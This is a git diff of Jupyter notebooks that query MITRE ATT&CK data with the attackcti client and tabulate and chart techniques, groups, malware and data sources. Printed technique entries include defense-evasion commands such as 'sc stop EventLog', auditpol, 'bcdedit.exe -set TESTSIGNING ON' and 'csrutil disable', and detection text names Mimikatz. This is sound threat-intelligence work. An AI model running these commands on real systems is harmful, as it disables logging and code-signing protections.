url='https://www.coretechnologies.com/blog/windows-services/eventlog/'), ExternalReference(source_name='Audit_Policy_Microsoft', description='Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September 13, 2021.', url='https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy'), ExternalReference(source_name='Advanced_sec_audit_policy_settings', description='Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021.', url='https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings'), ExternalReference(source_name='auditpol', description='Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021.', url='https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol'), ExternalReference(source_name='Disable_Win_Event_Logging', description=' dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021.', url='https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging'), ExternalReference(source_name='auditpol.exe_STRONTIC', description='STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.', url='https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html'), ExternalReference(source_name='T1562.002_redcanaryco', description='redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021.', url='https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md'), ExternalReference(source_name='def_ev_win_event_logging', description='Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.', url='https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/'), ExternalReference(source_name='evt_log_tampering', description='svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021.', url='https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_contributors=['Prasanth Sadanala, Cigna Information Protection (CIP) - Threat Response Engineering Team'], x_mitre_data_sources=['Process: Process Creation', 'Script: Script Execution', 'Windows Registry: Windows Registry Key Creation', 'Application Log: Application Log Content', 'Sensor Health: Host Status', 'Command: Command Execution'], x_mitre_defense_bypassed=['Log analysis'], x_mitre_detection='Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) \\n\\nIn Event Viewer, Event ID 1102 under the “Security” Windows Log and Event ID 104 under the “System” Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered.\\n\\nMonitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)', x_mitre_is_subtechnique=True, x_mitre_permissions_required=['Administrator'], x_mitre_platforms=['Windows'], x_mitre_version='1.1')" + ] + }, + "execution_count": 19, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "software_techniques[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Get Techniques Used by Group (TAXII)\n", + "If you do not provide the name of a specific **Group** (Case Sensitive), the function returns information about all the groups available across all the matrices." + ] + }, + { + "cell_type": "code", + "execution_count": 20, + "metadata": {}, + "outputs": [], + "source": [ + "groups = lift.get_groups()\n", + "one_group = groups[0]\n", + "group_techniques = lift.get_techniques_used_by_group(one_group)" + ] + }, + { + "cell_type": "code", + "execution_count": 21, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "AttackPattern(type='attack-pattern', id='attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-03-31T14:26:00.848Z', modified='2021-04-12T18:22:05.737Z', name='Container and Resource Discovery', description='Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\\n\\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. ', kill_chain_phases=[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')], revoked=False, external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1613', external_id='T1613'), ExternalReference(source_name='Docker API', description='Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.', url='https://docs.docker.com/engine/api/v1.41/'), ExternalReference(source_name='Kubernetes API', description='The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.', url='https://kubernetes.io/docs/concepts/overview/kubernetes-api/')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_contributors=['Vishwas Manral, McAfee', 'Center for Threat-Informed Defense (CTID)', 'Yossi Weizman, Azure Defender Research Team'], x_mitre_data_sources=['Cluster: Cluster Metadata', 'Container: Container Enumeration', 'Container: Container Metadata', 'Pod: Pod Enumeration', 'Pod: Pod Metadata', 'Application Log: Application Log Content'], x_mitre_detection='Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level.\\n\\nMonitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. ', x_mitre_is_subtechnique=False, x_mitre_permissions_required=['User'], x_mitre_platforms=['Containers'], x_mitre_version='1.0')" + ] + }, + "execution_count": 21, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "group_techniques[0]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Get Software Used by Group (TAXII)\n", + "You can retrieve every software (malware or tool) mapped to a specific Group STIX object" + ] + }, + { + "cell_type": "code", + "execution_count": 22, + "metadata": {}, + "outputs": [], + "source": [ + "groups = lift.get_groups()\n", + "one_group = groups[0]\n", + "group_software = lift.get_software_used_by_group(one_group)" + ] + }, + { + "cell_type": "code", + "execution_count": 23, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "Malware(type='malware', id='malware--40a1b8ec-7295-416c-a6b1-68181d86f120', created_by_ref='identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5', created='2021-04-07T18:07:47.604Z', modified='2021-10-16T01:49:39.189Z', name='Hildegard', description='[Hildegard](https://attack.mitre.org/software/S0601) is malware that targets misconfigured kubelets for initial access and runs cryptocurrency miner operations. The malware was first observed in January 2021. The TeamTNT activity group is believed to be behind [Hildegard](https://attack.mitre.org/software/S0601). (Citation: Unit 42 Hildegard Malware)', revoked=False, labels=['malware'], external_references=[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/software/S0601', external_id='S0601'), ExternalReference(source_name='Unit 42 Hildegard Malware', description='Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.', url='https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/')], object_marking_refs=['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'], x_mitre_aliases=['Hildegard'], x_mitre_contributors=['Center for Threat-Informed Defense (CTID)'], x_mitre_platforms=['Linux', 'Containers', 'IaaS'], x_mitre_version='1.1')" + ] + }, + "execution_count": 23, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "group_software[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.9.5" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/docs/playground/ATT&CK_DataSources.ipynb b/docs/playground/ATT&CK_DataSources.ipynb deleted file mode 100644 index 3322913..0000000 --- a/docs/playground/ATT&CK_DataSources.ipynb +++ /dev/null @@ -1,4529 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Explore ATT&CK Data Sources\n", - "------------------" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Goals:\n", - "* Access ATT&CK data sources in STIX format via a public TAXII server\n", - "* Learn to interact with ATT&CK data all at once\n", - "* Explore and idenfity patterns in the data retrieved\n", - "* Learn more about ATT&CK data sources" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## 1. ATT&CK Python Client Installation" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "You can install it via PIP: **pip install attackcti**" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## 2. Import ATT&CK API Client" - ] - }, - { - "cell_type": "code", - "execution_count": 1, - "metadata": {}, - "outputs": [], - "source": [ - "from attackcti import attack_client" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## 3. Import Extra Libraries" - ] - }, - { - "cell_type": "code", - "execution_count": 2, - "metadata": {}, - "outputs": [], - "source": [ - "from pandas import *\n", - "import numpy as np\n", - "\n", - "import altair as alt\n", - "alt.renderers.enable('default')\n", - "\n", - "import itertools" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## 4. Initialize ATT&CK Client Class" - ] - }, - { - "cell_type": "code", - "execution_count": 3, - "metadata": {}, - "outputs": [], - "source": [ - "lift = attack_client()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## 5. Getting Information About Techniques" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Getting ALL ATT&CK Techniques" - ] - }, - { - "cell_type": "code", - "execution_count": 4, - "metadata": {}, - "outputs": [], - "source": [ - "all_techniques = lift.get_techniques(stix_format=False)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Showing the first technique in our list" - ] - }, - { - "cell_type": "code", - "execution_count": 5, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "{'external_references': [{'source_name': 'mitre-attack',\n", - " 'external_id': 'T1553.006',\n", - " 'url': 'https://attack.mitre.org/techniques/T1553/006'},\n", - " {'source_name': 'Microsoft DSE June 2017',\n", - " 'url': 'https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN',\n", - " 'description': 'Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021.'},\n", - " {'source_name': 'Apple Disable SIP',\n", - " 'url': 'https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection',\n", - " 'description': 'Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021.'},\n", - " {'source_name': 'Microsoft Unsigned Driver Apr 2017',\n", - " 'url': 'https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test',\n", - " 'description': 'Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021.'},\n", - " {'source_name': 'Microsoft TESTSIGNING Feb 2021',\n", - " 'url': 'https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option',\n", - " 'description': 'Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021.'},\n", - " {'source_name': 'FireEye HIKIT Rootkit Part 2',\n", - " 'url': 'https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html',\n", - " 'description': 'Glyer, C., Kazanciyan, R. (2012, August 22). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020.'},\n", - " {'source_name': 'GitHub Turla Driver Loader',\n", - " 'url': 'https://github.com/hfiref0x/TDL',\n", - " 'description': 'TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021.'},\n", - " {'url': 'https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf',\n", - " 'description': 'F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.',\n", - " 'source_name': 'F-Secure BlackEnergy 2014'},\n", - " {'source_name': 'Unit42 AcidBox June 2020',\n", - " 'url': 'https://unit42.paloaltonetworks.com/acidbox-rare-malware/',\n", - " 'description': 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.'}],\n", - " 'kill_chain_phases': [{'kill_chain_name': 'mitre-attack',\n", - " 'phase_name': 'defense-evasion'}],\n", - " 'x_mitre_version': '1.0',\n", - " 'x_mitre_is_subtechnique': True,\n", - " 'url': 'https://attack.mitre.org/techniques/T1553/006',\n", - " 'matrix': 'mitre-attack',\n", - " 'technique_id': 'T1553.006',\n", - " 'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", - " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", - " 'technique': 'Code Signing Policy Modification',\n", - " 'technique_description': 'Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \\n\\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\\n\\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\\n\\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)',\n", - " 'id': 'attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c',\n", - " 'type': 'attack-pattern',\n", - " 'tactic': ['defense-evasion'],\n", - " 'modified': '2021-04-26T15:41:39.155Z',\n", - " 'created': '2021-04-23T01:04:57.161Z',\n", - " 'technique_detection': 'Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\Driver Signing. Modifications to the code signing policy of a system are likely to be rare.',\n", - " 'data_sources': ['Windows Registry: Windows Registry Key Modification',\n", - " 'Command: Command Execution',\n", - " 'Process: Process Creation'],\n", - " 'contributors': ['Abel Morales, Exabeam'],\n", - " 'defense_bypassed': ['Application control',\n", - " 'User Mode Signature Validation',\n", - " 'Digital Certificate Validation'],\n", - " 'permissions_required': ['Administrator'],\n", - " 'platform': ['Windows', 'macOS']}" - ] - }, - "execution_count": 5, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "all_techniques[0]" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Normalizing semi-structured JSON data into a flat table via **pandas.io.json.json_normalize**\n", - "* Reference: https://pandas.pydata.org/pandas-docs/stable/generated/pandas.io.json.json_normalize.html" - ] - }, - { - "cell_type": "code", - "execution_count": 6, - "metadata": {}, - "outputs": [], - "source": [ - "techniques_normalized = pandas.json_normalize(all_techniques)" - ] - }, - { - "cell_type": "code", - "execution_count": 7, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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matrixplatformtactictechniquetechnique_iddata_sources
0mitre-attack[Windows, macOS][defense-evasion]Code Signing Policy ModificationT1553.006[Windows Registry: Windows Registry Key Modifi...
1mitre-attack[Windows, Linux, macOS, IaaS][discovery]System Location DiscoveryT1614[Instance: Instance Metadata, Process: Process...
2mitre-attack[Containers][discovery]Container and Resource DiscoveryT1613[Cluster: Cluster Metadata, Container: Contain...
3mitre-attack[Containers][credential-access]Container APIT1552.007[Command: Command Execution, File: File Access...
4mitre-attack[Containers][defense-evasion]Build Image on HostT1612[Image: Image Creation, Network Traffic: Netwo...
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" - ], - "text/plain": [ - " matrix platform tactic \\\n", - "0 mitre-attack [Windows, macOS] [defense-evasion] \n", - "1 mitre-attack [Windows, Linux, macOS, IaaS] [discovery] \n", - "2 mitre-attack [Containers] [discovery] \n", - "3 mitre-attack [Containers] [credential-access] \n", - "4 mitre-attack [Containers] [defense-evasion] \n", - "\n", - " technique technique_id \\\n", - "0 Code Signing Policy Modification T1553.006 \n", - "1 System Location Discovery T1614 \n", - "2 Container and Resource Discovery T1613 \n", - "3 Container API T1552.007 \n", - "4 Build Image on Host T1612 \n", - "\n", - " data_sources \n", - "0 [Windows Registry: Windows Registry Key Modifi... \n", - "1 [Instance: Instance Metadata, Process: Process... \n", - "2 [Cluster: Cluster Metadata, Container: Contain... \n", - "3 [Command: Command Execution, File: File Access... \n", - "4 [Image: Image Creation, Network Traffic: Netwo... " - ] - }, - "execution_count": 9, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "techniques.head()" - ] - }, - { - "cell_type": "code", - "execution_count": 10, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "A total of 1062 techniques\n" - ] - } - ], - "source": [ - "print('A total of ',len(techniques),' techniques')" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## 7. Removing Revoked Techniques" - ] - }, - { - "cell_type": "code", - "execution_count": 11, - "metadata": {}, - "outputs": [], - "source": [ - "all_techniques_no_revoked = lift.remove_revoked(all_techniques)" - ] - }, - { - "cell_type": "code", - "execution_count": 12, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "A total of 916 techniques\n" - ] - } - ], - "source": [ - "print('A total of ',len(all_techniques_no_revoked),' techniques')" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## 8. Extractinng Revoked Techniques" - ] - }, - { - "cell_type": "code", - "execution_count": 13, - "metadata": {}, - "outputs": [], - "source": [ - "all_techniques_revoked = lift.extract_revoked(all_techniques)" - ] - }, - { - "cell_type": "code", - "execution_count": 14, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "A total of 146 techniques that have been revoked\n" - ] - } - ], - "source": [ - "print('A total of ',len(all_techniques_revoked),' techniques that have been revoked')" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "The revoked techniques are the following ones:" - ] - }, - { - "cell_type": "code", - "execution_count": 15, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Web Session Cookie\n", - "Emond\n", - "Cloud Instance Metadata API\n", - "Revert Cloud Instance\n", - "Application Access Token\n", - "Elevated Execution with Prompt\n", - "Credentials from Web Browsers\n", - "PowerShell Profile\n", - "Parent PID Spoofing\n", - "Compile After Delivery\n", - "Systemd Service\n", - "Runtime Data Manipulation\n", - "Transmitted Data Manipulation\n", - "Stored Data Manipulation\n", - "Disk Content Wipe\n", - "Disk Structure Wipe\n", - "Domain Generation Algorithms\n", - "Compiled HTML File\n", - "SIP and Trust Provider Hijacking\n", - "Time Providers\n", - "CMSTP\n", - "Credentials in Registry\n", - "Control Panel Items\n", - "Kernel Modules and Extensions\n", - "Spearphishing Link\n", - "Sudo Caching\n", - "Spearphishing Attachment\n", - "Kerberoasting\n", - "Spearphishing via Service\n", - "LSASS Driver\n", - "Password Filter DLL\n", - "Screensaver\n", - "AppCert DLLs\n", - "Domain Fronting\n", - "Mshta\n", - "Dynamic Data Exchange\n", - "Hooking\n", - "Image File Execution Options Injection\n", - "Extra Window Memory Injection\n", - "LLMNR/NBT-NS Poisoning and Relay\n", - "Multi-hop Proxy\n", - "SSH Hijacking\n", - "Process Doppelgänging\n", - "SID-History Injection\n", - "Application Shimming\n", - "Hidden Window\n", - "Login Item\n", - "Plist Modification\n", - "Re-opened Applications\n", - "Setuid and Setgid\n", - "AppleScript\n", - "Bash History\n", - "Clear Command History\n", - "Hidden Users\n", - "Input Prompt\n", - "Launchctl\n", - "LC_LOAD_DYLIB Addition\n", - "Launch Agent\n", - "Local Job Scheduling\n", - "Malicious Shell Modification\n", - "Rc.common\n", - "Space after Filename\n", - "Hidden Files and Directories\n", - "Keychain\n", - "Launch Daemon\n", - "Dylib Hijacking\n", - "Gatekeeper Bypass\n", - "HISTCONTROL\n", - "Trap\n", - "Private Keys\n", - "Securityd Memory\n", - "Startup Items\n", - "Sudo\n", - "Authentication Package\n", - "Install Root Certificate\n", - "Netsh Helper DLL\n", - "Network Share Connection Removal\n", - "Component Object Model Hijacking\n", - "Regsvcs/Regasm\n", - "InstallUtil\n", - "Regsvr32\n", - "Code Signing\n", - "Component Firmware\n", - "File Deletion\n", - "AppInit DLLs\n", - "Security Support Provider\n", - "Web Shell\n", - "Timestomp\n", - "Pass the Ticket\n", - "NTFS File Attributes\n", - "Custom Command and Control Protocol\n", - "Process Hollowing\n", - "Disabling Security Tools\n", - "Bypass User Account Control\n", - "PowerShell\n", - "Rundll32\n", - "Windows Management Instrumentation Event Subscription\n", - "Credentials in Files\n", - "Multilayer Encryption\n", - "Windows Admin Shares\n", - "Remote Desktop Protocol\n", - "Pass the Hash\n", - "DLL Side-Loading\n", - "Bootkit\n", - "Indicator Removal from Tools\n", - "Uncommonly Used Port\n", - "Security Software Discovery\n", - "Registry Run Keys / Startup Folder\n", - "Service Registry Permissions Weakness\n", - "Indicator Blocking\n", - "New Service\n", - "Software Packing\n", - "File System Permissions Weakness\n", - "Change Default File Association\n", - "DLL Search Order Hijacking\n", - "Service Execution\n", - "Standard Cryptographic Protocol\n", - "Modify Existing Service\n", - "Windows Remote Management\n", - "Custom Cryptographic Protocol\n", - "Shortcut Modification\n", - "Data Encrypted\n", - "System Firmware\n", - "Application Deployment Software\n", - "Accessibility Features\n", - "Port Monitors\n", - "Binary Padding\n", - "Winlogon Helper DLL\n", - "Data Compressed\n", - "Remotely Install Application\n", - "Insecure Third-Party Libraries\n", - "Fake Developer Accounts\n", - "Device Type Discovery\n", - "Detect App Analysis Environment\n", - "Malicious Software Development Tools\n", - "Biometric Spoofing\n", - "Device Unlock Code Guessing or Brute Force\n", - "Malicious Media Content\n", - "URL Scheme Hijacking\n", - "Abuse of iOS Enterprise App Signing Key\n", - "App Delivered via Web Download\n", - "App Delivered via Email Attachment\n", - "Malicious or Vulnerable Built-in Device Functionality\n", - "Malicious SMS Message\n", - "Exploit Baseband Vulnerability\n", - "Stolen Developer Credentials or Signing Keys\n" - ] - } - ], - "source": [ - "for t in all_techniques_revoked:\n", - " print(t['technique'])" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## 9. Updating our Dataframe" - ] - }, - { - "cell_type": "code", - "execution_count": 16, - "metadata": {}, - "outputs": [], - "source": [ - "techniques_normalized = pandas.json_normalize(all_techniques_no_revoked)\n", - "techniques = techniques_normalized.reindex(['matrix','platform','tactic','technique','technique_id','data_sources'], axis=1)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## 10. Techniques Per Matrix\n", - "Using **altair** python library we can start showing a few charts stacking the number of techniques with or without data sources.\n", - "Reference: https://altair-viz.github.io/" - ] - }, - { - "cell_type": "code", - "execution_count": 17, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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matrixtechnique
0mitre-attack563
1mitre-ics-attack89
2mitre-mobile-attack90
3mitre-pre-attack174
\n", - "
" - ], - "text/plain": [ - " matrix technique\n", - "0 mitre-attack 563\n", - "1 mitre-ics-attack 89\n", - "2 mitre-mobile-attack 90\n", - "3 mitre-pre-attack 174" - ] - }, - "execution_count": 17, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "data = techniques\n", - "data_2 = data.groupby(['matrix'])['technique'].count()\n", - "data_3 = data_2.to_frame().reset_index()\n", - "data_3" - ] - }, - { - "cell_type": "code", - "execution_count": 18, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "\n", - "
\n", - "" - ], - "text/plain": [ - "alt.Chart(...)" - ] - }, - "execution_count": 18, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "alt.Chart(data_3).mark_bar().encode(x='technique', y='matrix', color='matrix').properties(height = 200)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## 11. Techniques With and Without Data Sources" - ] - }, - { - "cell_type": "code", - "execution_count": 19, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "\n", - "
\n", - "" - ], - "text/plain": [ - "alt.LayerChart(...)" - ] - }, - "execution_count": 19, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "data_source_distribution = pandas.DataFrame({\n", - " 'Techniques': ['Without DS','With DS'],\n", - " 'Count of Techniques': [techniques['data_sources'].isna().sum(),techniques['data_sources'].notna().sum()]})\n", - "bars = alt.Chart(data_source_distribution).mark_bar().encode(x='Techniques',y='Count of Techniques',color='Techniques').properties(width=200,height=300)\n", - "text = bars.mark_text(align='center',baseline='middle',dx=0,dy=-5).encode(text='Count of Techniques')\n", - "bars + text" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "What is the distribution of techniques based on ATT&CK Matrix?" - ] - }, - { - "cell_type": "code", - "execution_count": 20, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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matrixInd_DStechnique
0mitre-attackWith DS472
1mitre-attackWithout DS91
2mitre-ics-attackWith DS72
3mitre-ics-attackWithout DS17
4mitre-mobile-attackWithout DS90
5mitre-pre-attackWithout DS174
\n", - "
" - ], - "text/plain": [ - " matrix Ind_DS technique\n", - "0 mitre-attack With DS 472\n", - "1 mitre-attack Without DS 91\n", - "2 mitre-ics-attack With DS 72\n", - "3 mitre-ics-attack Without DS 17\n", - "4 mitre-mobile-attack Without DS 90\n", - "5 mitre-pre-attack Without DS 174" - ] - }, - "execution_count": 20, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "data = techniques\n", - "data['Count_DS'] = data['data_sources'].str.len()\n", - "data['Ind_DS'] = np.where(data['Count_DS']>0,'With DS','Without DS')\n", - "data_2 = data.groupby(['matrix','Ind_DS'])['technique'].count()\n", - "data_3 = data_2.to_frame().reset_index()\n", - "data_3" - ] - }, - { - "cell_type": "code", - "execution_count": 21, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "RendererRegistry.enable('default')" - ] - }, - "execution_count": 21, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "alt.renderers.enable('default') " - ] - }, - { - "cell_type": "code", - "execution_count": 22, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "\n", - "
\n", - "" - ], - "text/plain": [ - "alt.Chart(...)" - ] - }, - "execution_count": 22, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "alt.Chart(data_3).mark_bar().encode(x='technique', y='Ind_DS', color='matrix').properties(height = 200)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "What are those mitre-attack techniques without data sources?" - ] - }, - { - "cell_type": "code", - "execution_count": 23, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
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matrixplatformtactictechniquetechnique_iddata_sourcesCount_DSInd_DS
10mitre-attack[PRE][resource-development]Link TargetT1608.005NaNNaNWithout DS
11mitre-attack[PRE][resource-development]Drive-by TargetT1608.004NaNNaNWithout DS
12mitre-attack[PRE][resource-development]Install Digital CertificateT1608.003NaNNaNWithout DS
13mitre-attack[PRE][resource-development]Upload ToolT1608.002NaNNaNWithout DS
14mitre-attack[PRE][resource-development]Upload MalwareT1608.001NaNNaNWithout DS
...........................
524mitre-attack[Linux, macOS, Windows][execution]Graphical User InterfaceT1061NaNNaNWithout DS
